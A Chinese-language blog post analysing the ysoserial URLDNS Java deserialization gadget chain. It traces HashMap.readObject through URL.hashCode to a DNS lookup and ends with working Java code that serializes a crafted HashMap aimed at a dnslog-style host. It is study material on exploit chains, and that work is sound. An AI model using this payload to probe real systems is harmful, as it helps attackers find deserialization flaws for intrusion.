ysoserial URLDNS利用链分析
在分析URLDNS之前,必须了解JAVA序列化和反序列化的基本概念。其中几个重要的概念:
public class Urldns implements Serializable {
public static void main(String[] args) throws Exception {
Urldns urldns = new Urldns();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("d:\\urldns.txt"));
objectOutputStream.writeObject(urldns);
}
public void run(){
System.out.println("urldns run");
}
private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
System.out.println("urldns readObject");
s.defaultReadObject();
}
}
对这个测试类Urldns做序列化后,反序列化的时候执行了重写的readobject方法。
import java.io.*;
public class Serializable_run implements Serializable{
public void run(ObjectInputStream s) throws IOException, ClassNotFoundException {
s.readObject();
}
public static void main(String[] args) throws Exception {
Serializable_run serializable_run = new Serializable_run();
serializable_run.run(new ObjectInputStream(new FileInputStream("d:\\urldns.txt")));
}
}
所以只要对readobject方法做重写就可以实现在反序列化该类的时候得到执行。
利用链的思路大致如此,那么分析URLDNS的利用链。
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
该类实际返回HashMap类型,但是HashMap用来用来存储数据的数组是transient,序列化时忽略数据。
因为HashMap重写了writeobject方法,在writeobject实现了对数据的序列化。
还存在重写readobject方法,那么分析readobject中的内容。方法中遍历key值执行putVal方法。
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE); // Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab; // Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
触发:
putVal(hash(key), key, value, false, false);
触发:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
这里的key对象如果是URL对象,那么就
触发:URL类中的hashCode方法
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
触发DNS请求:
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)
return u.hostAddress;
String host = u.getHost();
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
return u.hostAddress;
}
在hashCode=-1的时候,可以触发DNS请求,而hashCode私有属性默认值为-1。
所以为了实现readobject方法的DNS请求,接下来要做的是:
1、制造一个HashMap对象,且key值为URL对象;
2、保持私有属性hashcode为-1;
所以构造DNS请求的HashMap对象内容应该是:
public class Urldns implements Serializable {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://ixw9i.8n6xsg.dnslogimalloc.xyz");
Class<?> aClass = Class.forName("java.net.URL");
Field hashCode = aClass.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url,1);
map.put(url, "xzjhlk");
hashCode.set(url,-1);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("d:\\urldns.txt"));
objectOutputStream.writeObject(map);
}
}
至于为什么在序列化的时候要通过反射将url对象中的hashCode属性稍微非-1,是因为hashCode的put方法也实际调用的是putVal(hash(key), key, value, false, true);
这个过程将触发一次DNS请求。
ysoserial URLDNS利用链分析的更多相关文章
- Commons-Beanutils利用链分析
前言 本篇开始介绍 commons-beanutils 利用链,注意Commons-Beanutils 不是Commons-Collections 不要看混了,首先来看一下,什么是 commons-b ...
- CommonsCollections1 反序列化利用链分析
InvokerTransformer 首先来看 commons-collections-3.1-sources.jar!\org\apache\commons\collections\functors ...
- CommonsCollections2 反序列化利用链分析
在 ysoserial中 commons-collections2 是用的 PriorityQueue reaObject 作为反序列化的入口 那么就来看一下 java.util.PriorityQu ...
- CommonsCollections3 反序列化利用链分析
InstantiateTransformer commons-collections 3.1 中有 InstantiateTransformer 这么一个类,这个类也实现了 Transformer的t ...
- ysoserial-URLDNS学习
简述 ysoserial很强大,花时间好好研究研究其中的利用链对于了解java语言的一些特性很有帮助,也方便打好学习java安全的基础,刚学反序列化时就分析过commoncollections,但是是 ...
- YsoSerial 工具常用Payload分析之Common-Collections7(四)
前言 YsoSerial Common-Collection3.2.1 反序列化利用链终于来到最后一个,回顾一下: 以InvokerTranformer为基础通过动态代理触发AnnotationInv ...
- YsoSerial 工具常用Payload分析之Common-Collections2、4(五)
前言 Common-Collections <= 3.2.1 对应与YsoSerial为CC1.3.5.6.7 ,Commno-collections4.0对应与CC2.4. 这篇文章结束官方原 ...
- javasec(五)URLDNS反序列化分析
这篇文章介绍 URLDNS 就是ysoserial中⼀个利⽤链的名字,但准确来说,这个其实不能称作"利⽤链".因为其参数不是⼀个可以"利⽤"的命令,⽽仅为⼀个U ...
- ysoserial-调试分析总结篇(1)
前言: ysoserial很强大,花时间好好研究研究其中的利用链对于了解java语言的一些特性很有帮助,也方便打好学习java安全的基础,刚学反序列化时就分析过commoncollections,但是 ...
- Commons-Collections反序列化
Java反序列化漏洞 Commons Collections Apache Commons 是 Apache 软件基金会的项目.Commons Collections 包为 Java 标准的 Coll ...
随机推荐
- JVM内存用量的再学习
JVM内存用量的再学习 背景 最近解决一个SQLServer的问题耗时很久. 最终找到了一个看似合理的问题解释. 但是感觉不能只是总结于数据库方面 因为为了解决这个问题增加了很多监控措施. 所以想就这 ...
- [转帖]《Linux性能优化实战》笔记(五)—— 不可中断进程与僵尸进程
一. 进程状态 1. 状态含义 从 ps或者 top 命令的输出中,可以看到处于不同状态的进程 R:Running 或 Runnable,表示进程在 CPU 的就绪队列中,正在运行或者正在等待运行 D ...
- [转帖]ES集群开启X-pack认证
https://www.cnblogs.com/jclty/p/12913996.html 1.下载 1 # wget https://artifacts.elastic.co/downloads/e ...
- [转帖]VMware-ovftool命令行部署与导出镜像
ESXI6.0之后管理为WEB,OVF导出/部署是个渣渣,如果虚拟机文件过大,一般会报网络异常中断而失败,可使用官方ovftool工具解决,快而方便,支持linux和Mac OSX,可脚本操作,批量处 ...
- [转帖]linux下/proc/sysrq-trigger详解
/proc/sysrq-trigger详解 这是一组"魔术组合键",只要内核没有被完全锁住,不管内核在做什么事情,使用这些组合键能即时打印出内核的信息. 使用SysRq组合键是了解 ...
- [转帖]Redis Scan 原理解析与踩坑
https://www.cnblogs.com/jelly12345/p/16424080.html 1. 概述由于 Redis 是单线程在处理用户的命令,而 Keys 命令会一次性遍历所有 Key, ...
- 神通奥斯卡数据库是否兼容Oracle, 以及参数修改的办法
1. 最近公司要适配神通数据库, 但是因为一些功能异常.参数可能存在风险. 为了减少问题, 想着简单描述一下这些的处理. 开发和客户给的默认参数建议 1. 不选择 兼容oracle模式 2. 字符集选 ...
- MySQL存储过程、索引、分表对比
MySQL存储过程.索引和分表是用于提高查询效率的三种不同方法,它们各自对查询效率有不同的影响和应用场景.以下是它们的对比: MySQL存储过程: 影响查询效率: 存储过程通常不直接影响查询效率,因为 ...
- 月薪40K+的测试老兵,测试开发学习实战心得分享
1. 前言 大家好,我是Arthur,拥有超过10年以上的银行测试经验,目前在一家互联网创业公司担任测试经理.在我们那个年代,基本上都是不会写代码的做测试工作,而且基本都是纯手工:最近几年,测试开发开 ...
- tp使用workerman消息推送
安装 首先通过 composer 安装 composer require topthink/think-worker SocketServer 在命令行启动服务端 php think worker:s ...